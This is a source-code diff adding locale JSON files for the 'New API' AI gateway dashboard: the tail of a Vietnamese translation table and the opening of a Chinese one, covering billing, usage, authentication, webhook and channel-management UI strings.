+    "Total requests made": "Tổng lượt yêu cầu",
+    "Total Tokens": "Tổng số token",
+    "Total Usage": "Tổng Mức Sử dụng",
+    "Total:": "Tổng cộng:",
+    "TPM": "TPM",
+    "Track per-request consumption to power usage analytics. Keeping this on increases database writes.": "Theo dõi mức tiêu thụ theo từng yêu cầu để phục vụ phân tích mức độ sử dụng. Việc bật tính năng này làm tăng số lượt ghi vào cơ sở dữ liệu.",
+    "Track usage, costs and performance with real-time analytics": "Theo dõi sử dụng, chi phí và hiệu suất với phân tích thời gian thực",
+    "Tracks current account base limits and additional metered usage on Codex upstream.": "Theo dõi hạn cơ bản và mức dùng tính phí bổ sung của tài khoản ở phía upstream Codex.",
+    "Transfer": "Chuyển",
+    "Transfer Amount": "Số tiền chuyển khoản",
+    "Transfer failed": "Chuyển thất bại",
+    "Transfer Rewards": "Chuyển thưởng",
+    "Transfer successful": "Chuyển thành công",
+    "Transfer to Balance": "Chuyển vào số dư",
+    "Translate `-thinking` suffixes into Anthropic native thinking models while keeping pricing predictable.": "Dịch các hậu tố `-thinking` sang các mô hình tư duy gốc của Anthropic đồng thời giữ giá cả có thể dự đoán được.",
+    "Transparent Billing": "Thanh toán minh bạch",
+    "Trim Prefix": "Xóa tiền tố",
+    "Trim Space": "Xóa khoảng trắng",
+    "Trim Suffix": "Xóa hậu tố",
+    "Trusted": "Đáng tin cậy",
+    "Try adjusting your search to locate a missing model.": "Hãy thử điều chỉnh tìm kiếm của bạn để định vị một mô hình bị thiếu.",
+    "TTL": "TTL",
+    "TTL (seconds, 0 = default)": "TTL (giây, 0 = mặc định)",
+    "TTL (seconds)": "TTL (giây)",
+    "Turnstile is enabled but site key is empty.": "Turnstile đã được bật nhưng khóa trang web trống.",
+    "Two-factor Authentication": "Xác thực hai yếu tố",
+    "Two-Factor Authentication": "Xác thực hai yếu tố",
+    "Two-factor authentication disabled": "Xác thực hai yếu tố đã bị vô hiệu hóa",
+    "Two-factor authentication enabled successfully!": "Xác thực hai yếu tố đã được bật thành công!",
+    "Two-factor authentication reset": "Xác thực hai yếu tố đã được đặt lại",
+    "Two-Step Verification": "Xác minh hai bước",
+    "Type": "Loại",
+    "Type *": "Nhập *",
+    "Type a command or search...": "Nhập lệnh hoặc tìm kiếm...",
+    "Type-Specific Settings": "Cài đặt theo loại",
+    "Type:": "Loại:",
+    "UI granularity only &mdash; data is still aggregated hourly": "Chỉ là độ chi tiết UI &mdash; dữ liệu vẫn được tổng hợp theo giờ",
+    "Unable to estimate price for this deployment.": "Không thể ước tính giá cho triển khai này.",
+    "Unable to generate chat link. Please contact your administrator.": "Không thể tạo liên kết trò chuyện. Vui lòng liên hệ quản trị viên của bạn.",
+    "Unable to load groups": "Không thể tải nhóm",
+    "Unable to open chat": "Không thể mở trò chuyện",
+    "Unable to prepare chat link. Please ensure you have an enabled API key.": "Không thể chuẩn bị liên kết chat. Vui lòng đảm bảo bạn có khóa API được kích hoạt.",
+    "Unauthorized Access": "Truy cập trái phép",
+    "Unbind": "Hủy liên kết",
+    "Unbind failed": "Hủy liên kết thất bại",
+    "Unbound {{provider}}": "Đã hủy liên kết {{provider}}",
+    "Unexpected release payload": "Dữ liệu phiên bản không mong đợi",
+    "Unified API Gateway for": "Cổng API thống nhất cho",
+    "Unique identifier for this group.": "Mã định danh duy nhất cho nhóm này.",
+    "Unit price (local currency / USD)": "Đơn giá (tiền tệ địa phương / USD)",
+    "Unit price (USD)": "Đơn giá (USD)",
+    "Unit price must be greater than 0": "Đơn giá phải lớn hơn 0",
+    "Units per USD": "Đơn vị trên USD",
+    "Unknown": "Không rõ",
+    "Unknown version": "Phiên bản không xác định",
+    "Unlimited": "Không giới hạn",
+    "Unlimited Quota": "Hạn mức không giới hạn",
+    "Unsaved changes": "Thay đổi chưa được lưu",
+    "Until": "Cho đến",
+    "Untitled": "Không có tiêu đề",
+    "Untrusted upstream data:": "Dữ liệu nguồn không đáng tin cậy:",
+    "Unused": "Chưa sử dụng",
+    "Update": "Cập nhật",
+    "Update All Balances": "Cập nhật tất cả số dư",
+    "Update API Key": "Cập nhật Khóa API",
+    "Update Balance": "Cập nhật số dư",
+    "Update balance for:": "Cập nhật số dư cho:",
+    "Update Channel": "Cập nhật kênh",
+    "Update channel configuration and click save when you're done.": "Cập nhật cấu hình kênh và nhấp lưu khi bạn hoàn tất.",
+    "Update configuration": "Cập nhật cấu hình",
+    "Update failed": "Cập nhật thất bại",
+    "Update Model": "Cập nhật mô hình",
+    "Update model configuration and click save when you're done.": "Cập nhật cấu hình mô hình và nhấp lưu khi bạn hoàn tất.",
+    "Update plan info": "Cập nhật thông tin gói",
+    "Update Provider": "Cập nhật Nhà cung cấp",
+    "Update Redemption Code": "Cập nhật mã đổi thưởng",
+    "Update succeeded": "Cập nhật thành công",
+    "Update the API key by providing necessary info.": "Cập nhật khóa API bằng cách cung cấp thông tin cần thiết.",
+    "Update the configuration for this custom OAuth provider.": "Cập nhật cấu hình cho nhà cung cấp OAuth tùy chỉnh này.",
+    "Update the redemption code by providing necessary info.": "Cập nhật mã đổi thưởng bằng cách cung cấp thông tin cần thiết.",
+    "Update the reusable bundle below.": "Cập nhật gói có thể tái sử dụng bên dưới.",
+    "Update the user by providing necessary info.": "Cập nhật cho người dùng bằng cách cung cấp thông tin cần thiết.",
+    "Update vendor information for {{name}}": "Cập nhật thông tin nhà cung cấp cho {{name}}",
+    "Update your password for account:": "Cập nhật mật khẩu của bạn cho tài khoản:",
+    "Update your password to keep your account secure": "Cập nhật mật khẩu của bạn để bảo mật tài khoản.",
+    "Updated": "Đã cập nhật",
+    "Updated successfully": "Cập nhật thành công",
+    "Updating all channel balances. This may take a while. Please refresh to see results.": "Đang cập nhật tất cả số dư kênh. Quá trình này có thể mất một chút thời gian. Vui lòng làm mới để xem kết quả.",
+    "Upgrade Group": "Nhóm nâng cấp",
+    "Upload": "Tải lên",
+    "Upload a single service account JSON file": "Tải lên một tệp JSON tài khoản dịch vụ",
+    "Upload file": "Tải tệp lên",
+    "Upload files": "Tải tệp lên",
+    "Upload multiple JSON files in batch modes": "Tải lên nhiều tệp JSON trong chế độ hàng loạt",
+    "Upload or reference a local configuration file.": "Tải lên hoặc tham chiếu tệp cấu hình cục bộ.",
+    "Upload photo": "Tải ảnh lên",
+    "Upscale": "Phóng to",
+    "Upstream": "Thượng nguồn",
+    "Upstream Model Update Check": "Kiểm tra cập nhật mô hình nguồn",
+    "Upstream Model Updates": "Cập nhật mô hình upstream",
+    "Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models": "Đã áp dụng cập nhật mô hình upstream: {{added}} đã thêm, {{removed}} đã xóa, {{ignored}} bỏ qua lần này, {{totalIgnored}} tổng mô hình đã bỏ qua",
+    "Upstream price sync": "Đồng bộ giá thượng nguồn",
+    "Upstream prices fetched successfully": "Lấy giá upstream thành công",
+    "Upstream ratios fetched successfully": "Đã lấy tỷ lệ upstream thành công",
+    "Upstream Response": "Upstream feedback",
+    "Upstream Updates": "Cập nhật nguồn",
+    "uptime": "thời gian hoạt động",
+    "Uptime": "Thời gian hoạt động",
+    "Uptime Kuma": "Uptime Kuma",
+    "Uptime Kuma groups saved successfully": "Đã lưu nhóm Uptime Kuma thành công",
+    "Uptime Kuma URL": "URL Uptime Kuma",
+    "Uptime since": "Thời gian hoạt động kể từ",
+    "URL": "URL",
+    "URL is required": "URL là bắt buộc",
+    "URL to your logo image (optional)": "URL hình ảnh logo của bạn (tùy chọn)",
+    "Usage": "Sử dụng",
+    "Usage logs": "Nhật ký sử dụng",
+    "Usage Logs": "Nhật ký sử dụng",
+    "Usage mode": "Chế độ sử dụng",
+    "Usage-based": "Dựa trên sử dụng",
+    "USD": "USD",
+    "USD Exchange Rate": "Tỷ giá USD",
+    "Use a compatible browser or device with biometric authentication or a security key to register a Passkey.": "Sử dụng trình duyệt hoặc thiết bị tương thích có xác thực sinh trắc học hoặc khóa bảo mật để đăng ký Khóa truy cập.",
+    "Use authenticator code": "Sử dụng mã xác thực",
+    "Use backup code": "Sử dụng mã dự phòng",
+    "Use disk cache when request body exceeds this size": "Sử dụng bộ nhớ đệm đĩa khi nội dung yêu cầu vượt quá kích thước này",
+    "Use our unified OpenAI-compatible endpoint in your applications": "Sử dụng endpoint thống nhất tương thích OpenAI trong ứng dụng của bạn",
+    "Use Passkey to sign in without entering your password.": "Sử dụng Khóa truy cập để đăng nhập mà không cần nhập mật khẩu của bạn.",
+    "Use secure connection when sending emails": "Sử dụng kết nối an toàn khi gửi email",
+    "Use sidebar shortcut": "Sử dụng phím tắt thanh bên",
+    "Use this token for API authentication": "Sử dụng token này để xác thực API",
+    "Use your Passkey": "Sử dụng Passkey của bạn",
+    "used": "đã sử dụng, cũ",
+    "Used": "Đã sử dụng",
+    "Used / Remaining": "Đã dùng / Còn lại",
+    "Used for load balancing. Higher weight = more requests": "Được sử dụng để cân bằng tải. Trọng số càng cao = càng nhiều yêu cầu",
+    "Used in URLs and API routes": "Sử dụng trong URL và các tuyến API",
+    "Used Quota": "Hạn mức đã sử dụng",
+    "Used to authenticate with io.net deployment API": "Dùng để xác thực với API triển khai io.net",
+    "Used to authenticate with the worker. Leave blank to keep the existing secret.": "Dùng để xác thực với worker. Để trống để giữ nguyên secret hiện có.",
+    "Used:": "Đã dùng:",
+    "User": "Người dùng",
+    "User {{id}}": "Người dùng {{id}}",
+    "User Agreement": "Thỏa thuận người dùng",
+    "User Analytics": "Thống kê người dùng",
+    "User Consumption Ranking": "Xếp hạng tiêu thụ",
+    "User Consumption Trend": "Xu hướng tiêu thụ",
+    "User created successfully": "Tạo người dùng thành công",
+    "User dashboard and quota controls.": "Bảng điều khiển người dùng và kiểm soát hạn ngạch.",
+    "User Exclusive Ratio": "Tỷ lệ riêng",
+    "User Group": "Nhóm người dùng",
+    "User group name": "Tên nhóm người dùng",
+    "User Group: {{ratio}}x": "Nhóm người dùng: {{ratio}}x",
+    "User groups that can access channels with this tag": "Nhóm người dùng có thể truy cập các kênh với thẻ này",
+    "User groups that can access this channel. ": "Các nhóm người dùng có thể truy cập kênh này.",
+    "User ID": "ID người dùng",
+    "User ID Field": "Trường ID Người dùng",
+    "User ID:": "ID người dùng:",
+    "User Info Endpoint": "Điểm cuối Thông tin Người dùng",
+    "User Info Endpoint (Optional)": "Điểm cuối Thông tin Người dùng (Tùy chọn)",
+    "User Information": "Thông tin người dùng",
+    "User Menu": "Menu người dùng",
+    "User personal functions": "Chức năng cá nhân người dùng",
+    "User Subscription Management": "Quản lý đăng ký người dùng",
+    "User updated successfully": "Cập nhật người dùng thành công",
+    "User Verification": "Xác minh người dùng",
+    "User-Agent include (one per line)": "User-Agent include (mỗi dòng một mục)",
+    "Username": "Tên người dùng",
+    "Username confirmation does not match": "Xác nhận tên người dùng không khớp",
+    "Username Field": "Trường Tên người dùng",
+    "Username or Email": "Tên đăng nhập hoặc Email",
+    "Users": "Người dùng",
+    "Users call the model on the left. The platform forwards the request to the upstream model on the right.": "Người dùng gọi mô hình bên trái. Nền tảng chuyển tiếp yêu cầu đến mô hình thượng nguồn bên phải.",
+    "Users must wait for a successful drawing before upscales or variations.": "Người dùng phải chờ vẽ thành công trước khi upscale hoặc biến thể.",
+    "uses": "sử dụng",
+    "Validity": "Hiệu lực",
+    "Validity Period": "Thời hạn hiệu lực",
+    "Value": "Giá trị",
+    "Value must be at least 0": "Giá trị phải ít nhất là 0",
+    "Value Regex": "Regex giá trị",
+    "variable": "biến",
+    "variable) *": "biến) *",
+    "Variables": "Biến",
+    "Vary": "Biến thể",
+    "Vary (Strong)": "Biến thể (mạnh)",
+    "Vary (Subtle)": "Biến thể (nhẹ)",
+    "Vendor": "Supplier",
+    "Vendor deleted successfully": "Đã xóa nhà cung cấp thành công",
+    "Vendor Name *": "Tên nhà cung cấp *",
+    "Vendor:": "Nhà cung cấp:",
+    "Verification code": "Mã xác minh",
+    "Verification Code": "Mã xác minh",
+    "Verification code must be 6 digits": "Mã xác thực phải có 6 chữ số",
+    "Verification code sent! Please check your email.": "Mã xác thực đã được gửi! Vui lòng kiểm tra email của bạn.",
+    "Verification code updates every 30 seconds.": "Mã xác minh cập nhật mỗi 30 giây.",
+    "Verification email sent": "Email xác thực đã được gửi",
+    "Verification failed": "Xác thực thất bại",
+    "Verification is not configured properly": "Xác thực chưa được cấu hình đúng cách",
+    "Verification required to reveal the saved key.": "Yêu cầu xác minh để tiết lộ khóa đã lưu.",
+    "Verify": "Kiểm tra",
+    "Verify and Sign In": "Xác minh và Đăng nhập",
+    "Verify Setup": "Xác minh thiết lập",
+    "Verify your database connection": "Xác minh kết nối cơ sở dữ liệu của bạn",
+    "Version Overrides": "Ghi đè phiên bản",
+    "Vertex AI": "Vertex AI",
+    "Vertex AI does not support functionResponse.id. Enable this to remove the field automatically.": "Vertex AI không hỗ trợ functionResponse.id. Bật để tự động loại bỏ trường này.",
+    "Vertex AI Key Format": "Định dạng khóa Vertex AI",
+    "Video": "Video",
+    "Video Remix": "Remix video",
+    "Vidu": "Vidu",
+    "View": "Xem",
+    "View all currently available models": "Xem tất cả mô hình hiện có",
+    "View and manage your API usage logs": "Xem và quản lý nhật ký sử dụng API của bạn",
+    "View and manage your drawing logs": "Xem và quản lý nhật ký vẽ của bạn",
+    "View and manage your task logs": "Xem và quản lý nhật ký tác vụ của bạn",
+    "View dashboard overview and statistics": "Xem tổng quan và thống kê bảng điều khiển",
+    "View detailed information about this user including balance, usage statistics, and invitation details.": "Xem thông tin chi tiết về người dùng này bao gồm số dư, thống kê sử dụng và chi tiết lời mời.",
+    "View details": "Xem chi tiết",
+    "View document": "Xem tài liệu",
+    "View logs": "Xem nhật ký",
+    "View mode": "Chế độ xem",
+    "View model call count analytics and charts": "Xem phân tích và biểu đồ số lượt gọi mô hình",
+    "View model statistics and charts": "Xem thống kê và biểu đồ mô hình",
+    "View Pricing": "View price",
+    "View the complete details for this": "Xem chi tiết đầy đủ của",
+    "View the complete details for this log entry": "Xem chi tiết đầy đủ cho mục nhật ký này",
+    "View the complete error message and details": "Xem toàn bộ thông báo lỗi và chi tiết",
+    "View the complete prompt and its English translation": "Xem toàn bộ lời nhắc và bản dịch tiếng Anh",
+    "View the generated image": "Xem ảnh đã tạo",
+    "View user consumption statistics and charts": "Xem thống kê và biểu đồ tiêu thụ",
+    "View your topup transaction records and payment history": "Xem lịch sử giao dịch nạp tiền và lịch sử thanh toán của bạn",
+    "Violation Code": "Mã vi phạm",
+    "Violation deduction amount": "Số tiền trừ vi phạm",
+    "Violation Fee": "Phí vi phạm",
+    "Violation Marker": "Đánh dấu vi phạm",
+    "vip": "vip",
+    "VIP users with premium access": "Người dùng VIP với quyền truy cập cao cấp",
+    "Visit Settings → General and adjust quota options...": "Truy cập Cài đặt → Chung và điều chỉnh tùy chọn hạn mức...",
+    "Visitors must authenticate before accessing the pricing directory.": "Khách truy cập phải xác thực trước khi truy cập thư mục giá.",
+    "Visual": "Trực quan",
+    "Visual editor": "Trình sửa trực quan",
+    "Visual Editor": "Trình soạn thảo trực quan",
+    "Visual indicator color for the API card": "Màu sắc chỉ báo trực quan cho thẻ API",
+    "Visual Mode": "Chế độ Trực quan",
+    "VolcEngine": "VolcEngine",
+    "Waffo Pancake Payment Gateway": "Cổng thanh toán Waffo Pancake",
+    "Waffo Payment": "Thanh toán Waffo",
+    "Waffo Payment Gateway": "Cổng thanh toán Waffo",
+    "Waffo Public Key (Production)": "Waffo Public Key (Sản xuất)",
+    "Waffo Public Key (Sandbox)": "Khóa công khai Waffo (Sandbox)",
+    "Waiting": "Đang chờ",
+    "Waiting for email...": "Đang chờ email...",
+    "Wallet": "Ví",
+    "Wallet First": "Ưu tiên ví",
+    "Wallet Management": "Quản lý ví",
+    "Wallet management and personal preferences.": "Quản lý ví và sở thích cá nhân.",
+    "Wallet Only": "Chỉ dùng ví",
+    "Warning": "Cảnh báo",
+    "Warning: Base URL should not end with /v1. New API will handle it automatically. This may cause request failures.": "Cảnh báo: URL cơ sở không nên kết thúc bằng /v1. API mới sẽ xử lý tự động. Điều này có thể gây ra lỗi yêu cầu.",
+    "Warning: Disabling 2FA will make your account less secure.": "Cảnh báo: Vô hiệu hóa 2FA sẽ khiến tài khoản của bạn kém an toàn hơn.",
+    "Warning: This action is permanent and irreversible!": "Cảnh báo: Hành động này là vĩnh viễn và không thể đảo ngược!",
+    "We apologize for the inconvenience.": "Chúng tôi xin lỗi vì sự bất tiện này.",
+    "We could not load the setup status.": "Chúng tôi không thể tải trạng thái thiết lập.",
+    "We will prompt your device to confirm using biometrics or your hardware key.": "Chúng tôi sẽ yêu cầu thiết bị của bạn xác nhận bằng cách sử dụng sinh trắc học hoặc khóa bảo mật phần cứng của bạn.",
+    "We'll be back online shortly.": "Chúng tôi sẽ sớm trực tuyến trở lại.",
+    "Web Search": "Tìm kiếm web",
+    "Webhook Configuration:": "Cấu hình Webhook:",
+    "Webhook public key (production)": "Khóa công khai Webhook (production)",
+    "Webhook public key (production) is required": "Bắt buộc nhập khóa công khai Webhook (production)",
+    "Webhook public key (sandbox)": "Khóa công khai Webhook (sandbox)",
+    "Webhook public key (sandbox) is required": "Bắt buộc nhập khóa công khai Webhook (sandbox)",
+    "Webhook secret": "Bí mật webhook",
+    "Webhook Secret": "Bí mật Webhook",
+    "Webhook signing secret (leave blank unless updating)": "Mã bí mật ký webhook (để trống trừ khi cập nhật)",
+    "Webhook URL": "URL Webhook",
+    "Webhook URL:": "URL Webhook:",
+    "Website is under maintenance!": "Website đang bảo trì!",
+    "WeChat": "WeChat",
+    "WeChat login QR code": "Mã QR đăng nhập WeChat",
+    "WeChat QR code will be displayed here": "Mã QR WeChat sẽ được hiển thị tại đây",
+    "WeChat sign in": "Đăng nhập WeChat",
+    "Week": "Tuần",
+    "Weekday": "Thứ trong tuần",
+    "Weekly": "Hàng tuần",
+    "Weekly Window": "Cửa sổ hàng tuần",
+    "Weight": "Trọng lượng",
+    "Welcome back!": "Chào mừng trở lại!",
+    "Welcome to our New API...": "Chào mừng bạn đến với API mới của chúng tôi...",
+    "Well-Known URL": "URL đã biết",
+    "Well-Known URL must start with http:// or https://": "URL Well-Known phải bắt đầu bằng http:// hoặc https://",
+    "What would you like to know?": "Bạn muốn biết gì?",
+    "When conditions match, the final price is multiplied by X. Multiple matches multiply together; values < 1 act as discounts.": "Khi thỏa điều kiện, giá cuối nhân với X. Nhiều điều kiện khớp nhân lại với nhau; giá trị < 1 hoạt động như giảm giá.",
+    "When enabled, if channels in the current group fail, it will try channels in the next group in order.": "Khi được bật, nếu các kênh trong nhóm hiện tại thất bại, hệ thống sẽ thử các kênh của nhóm tiếp theo theo thứ tự.",
+    "When enabled, large request bodies are temporarily stored on disk instead of memory, significantly reducing memory usage. SSD recommended.": "Khi bật, nội dung yêu cầu lớn sẽ được lưu tạm trên đĩa thay vì bộ nhớ, giảm đáng kể việc sử dụng bộ nhớ. Khuyến nghị dùng SSD.",
+    "When enabled, Midjourney callbacks are accepted (reveals server IP).": "Khi được bật, các callback của Midjourney được chấp nhận (lộ IP máy chủ).",
+    "When enabled, newly created tokens start in the first auto group.": "Khi được bật, các token mới được tạo sẽ bắt đầu trong nhóm tự động đầu tiên.",
+    "When enabled, prompts are scanned before reaching upstream models.": "Khi được bật,",
+    "When enabled, the store field will be blocked": "Khi được bật, trường store sẽ bị chặn",
+    "When enabled, violation requests will incur additional charges.": "Khi bật, các yêu cầu vi phạm sẽ phải chịu phí bổ sung.",
+    "When enabled, zero-cost models also pre-consume quota before final settlement.": "Khi được bật, các mô hình không tốn phí cũng trừ trước hạn mức trước khi quyết toán cuối cùng.",
+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "Khi giám sát hiệu suất được bật và mức sử dụng tài nguyên vượt quá ngưỡng, các yêu cầu Relay mới sẽ bị từ chối.",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "Khi chạy trong container hoặc môi trường tạm thời, hãy đảm bảo tệp SQLite được ánh xạ vào bộ nhớ lưu trữ bền vững để tránh mất dữ liệu khi khởi động lại.",
+    "Whitelist": "Danh sách trắng",
+    "Whitelist (Only allow listed domains)": "Danh sách trắng (Chỉ cho phép các tên miền được liệt kê)",
+    "Whitelist (Only allow listed IPs)": "Danh sách trắng (Chỉ cho phép các IP đã liệt kê)",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "Cửa sổ:",
+    "with conflicts": "với các xung đột",
+    "Worker Access Key": "Khóa truy cập nhân viên",
+    "Worker Proxy": "Proxy Nhân viên",
+    "Worker URL": "URL của Worker",
+    "Workspaces": "Không gian làm việc",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "Xunfei",
+    "years": "năm",
+    "You are about to delete {{count}} API key(s).": "Bạn sắp xóa {{count}} khóa API.",
+    "You are running the latest version ({{version}}).": "Bạn đang sử dụng phiên bản mới nhất ({{version}}).",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "Bạn có thể đóng tab này sau khi quá trình liên kết hoàn tất hoặc thông báo thành công xuất hiện trong cửa sổ gốc.",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "Bạn có thể thêm chúng theo cách thủ công trong \"Tên mô hình tùy chỉnh\", nhấp vào \"Điền\" rồi gửi, hoặc sử dụng các thao tác bên dưới để xử lý tự động.",
+    "You can only check in once per day": "Bạn chỉ có thể điểm danh một lần mỗi ngày",
+    "You don't have necessary permission": "Bạn không có quyền cần thiết",
+    "You have unsaved changes": "Bạn có thay đổi chưa được lưu",
+    "You have unsaved changes. Are you sure you want to leave?": "Bạn có thay đổi chưa được lưu. Bạn có chắc chắn muốn rời đi không?",
+    "You Pay": "Bạn thanh toán",
+    "You save": "Bạn tiết kiệm",
+    "You will be redirected to Telegram to complete the binding process.": "Bạn sẽ được chuyển hướng đến Telegram để hoàn tất quá trình liên kết.",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "Bạn sẽ được chuyển hướng tự động. Bạn có thể quay lại trang trước nếu không có gì xảy ra sau vài giây.",
+    "your AI integration?": "tích hợp AI của bạn?",
+    "Your Azure OpenAI endpoint URL": "URL điểm cuối Azure OpenAI của bạn",
+    "Your Bot Name": "Tên Bot của bạn",
+    "Your Cloudflare Account ID": "ID tài khoản Cloudflare của bạn",
+    "Your Discord OAuth Client ID": "Discord OAuth Client ID của bạn",
+    "Your Discord OAuth Client Secret": "Discord OAuth Client Secret của bạn",
+    "Your GitHub OAuth Client ID": "Client ID OAuth GitHub của bạn",
+    "Your GitHub OAuth Client Secret": "Bí mật ứng dụng OAuth của GitHub của bạn",
+    "Your new backup codes are ready": "Mã dự phòng mới của bạn đã sẵn sàng",
+    "Your Referral Link": "Liên kết giới thiệu của bạn",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "Mã truy cập hệ thống của bạn để xác thực API. Hãy giữ nó an toàn và đừng chia sẻ nó với người khác.",
+    "Your Telegram Bot Token": "Mã thông báo bot Telegram của bạn",
+    "Your Turnstile secret key": "Khóa bí mật Turnstile của bạn",
+    "Your Turnstile site key": "Khóa site Turnstile của bạn",
+    "Zhipu": "Zhipu",
+    "Zhipu V4": "Zhipu V4",
+    "Zoom": "Zoom"
+  }
+}
diff --git a/new-api/web/default/src/i18n/locales/zh.json b/new-api/web/default/src/i18n/locales/zh.json
new file mode 100644
index 0000000..dc43832
--- /dev/null
+++ b/new-api/web/default/src/i18n/locales/zh.json
@@ -0,0 +1,3683 @@
+{
+  "translation": {
+    "360": "360",
+    "1000": "1000",
+    "10000": "10000",
+    "_copy": "_复制",
+    ", and": "，和",
+    "? This action cannot be undone.": "？此操作无法撤销。",
+    ". Please fix the JSON before saving.": "。请在保存前修复 JSON。",
+    ". This action cannot be undone.": "。此操作无法撤销。",
+    "...": "...",
+    "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"": "\"default\": \"us-central1\", \"claude-3-5-sonnet-20240620\": \"europe-west1\"",
+    "(Leave empty to dissolve tag)": "（留空以删除标签）",
+    "(Optional: redirect model names)": "（可选：重定向模型名称）",
+    "(Override all channels' groups)": "覆盖所有渠道的分组",
+    "(Override all channels' models)": "覆盖所有渠道的模型",
+    "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]": "[{\"ChatGPT\":\"https://chat.openai.com\"},{\"Lobe Chat\":\"https://chat-preview.lobehub.com/?settings={...}\"}]",
+    "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]": "[{\"name\":\"支付宝\",\"type\":\"alipay\",\"color\":\"#1677FF\"}]",
+    "{\"original-model\": \"replacement-model\"}": "{\"original-model\": \"replacement-model\"}",
+    "{{category}} Models": "{{category}} 模型",
+    "{{count}} channel(s) deleted": "已删除 {{count}} 个渠道",
+    "{{count}} channel(s) disabled": "已禁用 {{count}} 个渠道",
+    "{{count}} channel(s) enabled": "已启用 {{count}} 个渠道",
+    "{{count}} channel(s) failed to disable": "{{count}} 个渠道禁用失败",
+    "{{count}} channel(s) failed to enable": "{{count}} 个渠道启用失败",
+    "{{count}} days ago": "{{count}} 天前",
+    "{{count}} days remaining": "剩余 {{count}} 天",
+    "{{count}} disabled channel(s) deleted": "已删除 {{count}} 个已禁用的渠道",
+    "{{count}} hours ago": "{{count}} 小时前",
+    "{{count}} IP(s)": "{{count}} 个 IP",
+    "{{count}} log entries removed.": "已删除 {{count}} 条日志。",
+    "{{count}} minutes ago": "{{count}} 分钟前",
+    "{{count}} model(s)": "{{count}} 个模型",
+    "{{count}} months ago": "{{count}} 个月前",
+    "{{count}} override": "{{count}} 个覆盖",
+    "{{count}} tiers": "{{count}} 档",
+    "{{count}} weeks ago": "{{count}} 周前",
+    "{{field}} updated to {{value}}": "{{field}} 已更新为 {{value}}",
+    "{{field}} updated to {{value}} for tag: {{tag}}": "标签「{{tag}}」的 {{field}} 已更新为 {{value}}",
+    "{{n}} model(s) selected": "已选 {{n}} 个模型",
+    "{{value}}ms": "{{value}} 毫秒",
+    "{{value}}s": "{{value}} 秒",
+    "@lobehub/icons key": "@lobehub/icons 键",
+    "@lobehub/icons key name": "@lobehub/icons 键名",
+    "/status/": "/status/",
+    "/your/endpoint": "/your/endpoint",
+    "% off": "折",
+    "`, and `-nothinking` suffixes while routing to the correct Gemini variant.": "`, 和 `-nothinking` 后缀，同时路由到正确的 Gemini 变体。",
+    "© 2025 Your Company. All rights reserved.": "© 2025 您的公司。保留所有权利。",
+    "| Based on": "| 基于",
+    "0 means unlimited": "0 表示不限",
+    "1 Day": "1 天",
+    "1 day ago": "1 天前",
+    "1 Hour": "1 小时",
+    "1 hour ago": "1 小时前",
+    "1 minute ago": "1 分钟前",
+    "1 Month": "1 个月",
+    "1 month ago": "1 个月前",
+    "1 week ago": "1 周前",
+    "1 year ago": "1 年前",
+    "1. Create an application in your Gotify server": "1. 在您的 Gotify 服务器中创建一个应用程序",
+    "1) Click \"Open authorization page\" and complete login. 2) Your browser may redirect to localhost (it is OK if the page does not load). 3) Copy the full URL from the address bar and paste it below. 4) Click \"Generate credential\".": "1) 点击「打开授权页」并完成登录。2) 浏览器可能跳转到 localhost（页面打不开也正常）。3) 从地址栏复制完整 URL 粘贴到下方。4) 点击「生成凭据」。",
+    "10 / page": "10 条/页",
+    "100 / page": "100 条/页",
+    "14 Days": "14 天",
+    "192.168.1.1&#10;10.0.0.0/8": "192.168.1.1&#10;10.0.0.0/8",
+    "1M": "1 个月",
+    "1W": "1 周",
+    "2. Copy the application token": "2. 复制应用程序令牌",
+    "20 / page": "20 条/页",
+    "24 Hours": "24 小时",
+    "24 hours ago": "24 小时前",
+    "29 Days": "29 天",
+    "3. Enter your Gotify server URL and token above": "3. 在上方输入您的 Gotify 服务器 URL 和令牌",
+    "30 Days": "30 天",
+    "30 days ago": "30 天前",
+    "5-Hour Window": "5小时窗口",
+    "50 / page": "50 条/页",
+    "7 Days": "7 天",
+    "7 days ago": "7 天前",
+    "80,443,8080": "80,443,8080",
+    "About": "关于",
+    "Accept Unpriced Models": "接受未定价模型",
+    "Accepts a JSON array of model identifiers that support the Imagine API.": "接受支持 Imagine API 的模型标识符的 JSON 数组。",
+    "Accepts comma-separated status codes and inclusive ranges.": "接受逗号分隔的状态码和包含性范围。",
+    "Access Denied Message": "访问被拒绝消息",
+    "Access Forbidden": "禁止访问",
+    "Access Policy (JSON)": "访问策略 (JSON)",
+    "Access previous conversations and start new ones.": "访问之前的对话并开始新的对话。",
+    "Access Token": "访问令牌",
+    "AccessKey / SecretAccessKey": "AccessKey / SecretAccessKey",
+    "Account Binding Management": "账户绑定管理",
+    "Account Bindings": "账户绑定",
+    "Account created! Please sign in": "账户已创建！请登录",
+    "Account deleted successfully": "账户删除成功",
+    "Account ID *": "账户 ID *",
+    "Account Info": "账户信息",
+    "Account used when authenticating with the SMTP server": "用于与 SMTP 服务器进行身份验证的账户",
+    "Action confirmation": "操作确认",
+    "Actions": "操作",
+    "active": "活跃",
+    "Active": "生效",
+    "Active Cache Count": "活跃缓存数",
+    "Active Files": "活跃文件",
+    "active users": "活跃用户",
+    "Actual Amount": "实付金额",
+    "Actual Model": "实际模型",
+    "Actual Model:": "实际模型：",
+    "Add": "添加",
+    "Add {{title}}": "添加{{title}}",
+    "Add a group identifier to the auto assignment list.": "将分组标识符添加到自动分配列表。",
+    "Add a new API key by providing necessary info.": "通过提供必要信息添加新的 API 密钥。",
+    "Add a new channel by providing the necessary information.": "通过提供必要信息添加新的通道。",
